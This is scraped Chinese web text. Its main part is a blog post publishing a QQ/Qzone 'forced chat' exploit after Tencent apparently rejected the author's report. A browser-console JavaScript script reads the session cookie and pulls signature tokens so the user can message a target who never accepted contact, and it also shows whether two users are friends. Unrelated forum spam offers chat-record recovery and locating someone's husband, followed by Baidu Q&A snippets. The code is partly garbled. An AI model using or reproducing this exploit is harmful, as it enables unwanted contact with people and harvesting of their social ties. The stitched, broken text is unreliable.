& & &QQ强聊虽然早就变成了一个传说，但现在依然可以实现。
& & &小菜其实早就知道这个漏洞，但是一直没公布，前两天突然来兴致试了试，没想到漏洞依然存在。
& & &然后小菜跑到了乌云漏洞报告平台举报漏洞，但没想到被腾讯鲁莽的否认了，他竟然说漏洞不存在，漏洞不存在，那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理，就这么无情的被拒绝了。。。
& & &小菜很失望，既然腾讯这么不负责任，那小菜就把漏洞发出来。
& & &漏洞的具体原理，小菜已经在乌云上阐述了《》，十分的详细，在这不多说。
& & &为了让读者更方便的利用此漏洞，小菜写了一个js脚本，脚本如下
1 (function(exports){
var chatVO = {
yourQQ: "",
//你好友的QQ
yourFQQ: "",
//女神的QQ
targetQQ: "",
//女神好友的QQ
targetFQQ: ""
var config = {
init: function(){
skey = getCookie("skey") || getCookie("rv2") || "";
function getCookie(name){
var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
return !m ? "" : m[1];
function _DJB (str) {
var hash = 5381;
for (var i = 0, len = str. i & ++i)
hash += (hash && 5) + str.charCodeAt(i);
return hash &
this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
var util = {
ajax: function(obj){
if(obj.async === undefined){
obj.async = true;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.onreadystatechange=function(){
obj.callback(xmlHttp);
xmlHttp.open(obj.type,obj.url,obj.async);
xmlHttp.send();
var logic = {
getSigU: function (sender,receiver){
var sigu = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigU=/gmi.test(html)){
sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
alert("你和你的好友，好友关系不成立！");
getSigT: function (sender,receiver){
var sigt = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigT=/gmi.test(html)){
sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
alert("他和他的好友，好友关系不成立！");
runChat: function (sender,sigu,sigt) {
exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
config.init();
var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
logic.runChat(chatVO.targetQQ,sigu,sigt);
107 })(this);
& & &这个脚本，您只需要关注最顶部的四个参数，
& & &yourQQ: "",
& & &yourFQQ: "",
& & &targetQQ: "",
& & &targetFQQ: ""
& & &这四个参数缺一不可，而且必须都正确，读者可根据自己的实际情况填写，主要就是女神好友的QQ可能不知道（任意一个好友即可），猜吧！
& & &假如您不知道女神好友的QQ，乱填一个，会提示好友关系不成立，顺便还可以用这个提示测试两个人是不是好友，很实用吧！
　 &测试的时候忽略了一个问题：女神好友的QQ(targetFQQ)，作为中间人，不能随便填，必须同时是你们两个的好友才可以。。。抱歉！！
& & &接下来说说怎么运行这个脚本。
& & &首先要用浏览器打开你的QQ空间，最好使用火狐和谷歌浏览器，然后保持QQ空间是登录状态。
& & &然后在QQ空间的选项卡旁边新建一个选项卡，输入网址：http://r.qzone.qq.com，按回车转到，发现是一片空白，这就对了。
& & &在浏览器上按F12打开控制台，把脚本粘贴到控制台中，运行即可。
& & &为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie，否则没办法访问腾讯接口，而新建一个选项卡是为了避免跨域问题，同时又可以与登录的QQ空间共享cookie。
& & &其他就没什么了，快动手试试吧！
阅读(...) 评论()后使用快捷导航没有帐号？
其他登录方式
—— 新手入门 ——
—— 智友精华 ——
查看: 651|回复: 1
在线时间0 小时最后登录阅读权限10UID注册时间积分8精华0
, 积分 8, 距离下一级还需 12 积分
主题帖子 金币28 元 智豆0 点
安卓系统QQ，然后点击聊天记录漫游后，手机上原本的本地记录不见了
加Q:专业查询恢复QQ微信聊天记录
找Q：，就是找他定位我老公的位置
找Q：，查我老公记录是他帮我恢复
总评分:&金币 + 3&
在线时间254 小时最后登录阅读权限30UID注册时间积分745精华0
, 积分 745, 距离下一级还需 455 积分
主题帖子 金币1628 元 智豆0 点
你是QQ哪个版本啊，我的v4.7.0.2155没这个功能在QQ 的聊天框下面，有好几个按钮：聊天记录（H）、消息模式（T）、 关闭（C）、发送（S）/我想问的是这H、T、C、S这几个字母怎么用使。（我觉的他应是快捷键，但是我不会用。）请大家帮助。
Alt+字母 如Alt+S 就是发送消息
其他答案（共1个回答）
的情况下 点一下相应的键就好了
你的电脑所冲突小问题，我可以帮你。你刚打不出的原因是用拼音输入法不能用。先把你的QQ聊天窗口缩小后，再点出来聊天窗口正常打字拼音输入法。^_^！你就可以了。
也有可能是你的电脑重病毒的问题，跟QQ聊天儿软件本身没什么关系。还有就是网速的原因也容易被踢下线的。以前我的电脑就是这样，上QQ勉强能聊天后来连上网都成问题了，...
四国里面都可以聊天的，你在观战的时候进入房间需要等待1分钟以后才可以发言。如果你是新手，未玩到10局也不可以在大厅发言，只能在房间发言。 ， 注意，如果在防作弊...
主要是美观
先打开和人聊天界面。如图
按那把剪刀
然后剪切你想要的图的尺寸。
双击剪切的图，就会截取下来了 。。然后你就把图片另存为你想保存的地址。。
很简单的，
答: 在Word上写完您的大作之后，一般会全部选定，然后复制，最后粘贴到Blog发表框里面。当您按下“发表文章”的时候，却发现这么一个提示：
“文章内容不能为空或者文...
答: 买路由肯定可以,拿一根网线建个局域网也应该可以
答: 要用软件的，如REDVIP，注册免费的5元，还有uucall,全免得。
大家还关注
Copyright &
Corporation, All Rights Reserved
确定举报此问题
举报原因(必选)：
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告，这不是个问题
报告原因(必选)：
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区
相关问答：123456789101112131415一跟QQ一样不是企鹅的也可以聊天叫T啥子的_百度知道
一跟QQ一样不是企鹅的也可以聊天叫T啥子的
我有更好的答案
我记得有一个叫飞鸽的软件，XP上自带。上初中那会我们全班没网，用那个聊疯了。
TIM办公版？
为您推荐：
其他类似问题
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。QQ聊天修改字符T在哪_百度知道
QQ聊天修改字符T在哪
我有更好的答案
com/zhidao/wh%3D600%2C800/sign=ff0f736d8ab/fc1feacfcb32bd6c8a786c8175c00.jpg" esrc="http://b.hiphotos.baidu，进行聊天信息的发送，可以将字体变成更大的字体。还可以对字体进行加粗等操作。打开A按钮的时候.com/zhidao/wh%3D450%2C600/sign=f0d22cb4b419ebc4c02d7e9db716e3ca/fc1feacfcb32bd6c8a786c8175c00.jpg" />想让字体变大，点击数字20的下拉按钮。打开一个好友的名单，双击打开。点击聊天栏上的A按钮。
采纳率：47%
为您推荐：
其他类似问题
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。